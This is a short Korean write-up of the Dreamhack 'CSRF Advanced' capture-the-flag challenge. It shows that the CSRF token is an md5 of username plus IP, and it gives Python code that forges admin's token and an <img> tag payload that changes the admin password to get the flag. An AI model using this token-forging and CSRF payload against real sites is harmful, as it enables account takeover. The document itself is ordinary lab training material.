[Dreamhack]CSRF Advanced

guest로 로그인후 비밀번호 변경을 하면 

http://host3.dreamhack.games:19454/change_password?pw=1234&csrftoken=3c52b332e2f3cad2f79648520d240e9d

url이 이렇게 바뀐다.

 

 

admin의 csrf_token 을 알아내서 비밀번호를 바꾼후 로그인하면 되는 문제이다.

 token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()

csrf_token은 위와같이 admin+서버의 로컬 ip주소로 암호화되서 저장된다.

 

from hashlib import md5
username = b"admin"
ip_addr = b"127.0.0.1"
csrf_token = md5(username + ip_addr).hexdigest()
print(csrf_token)

csrf_token을 알아내는 코드를 작성후 실행해주면

 

admin의 csrf_token이 출력된다.

 

 

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

csrf_token을 사용해서 admin pw을 바꿔준다.

 

바꿔준 비밀번호로 로그인하면

flag가 뜬다.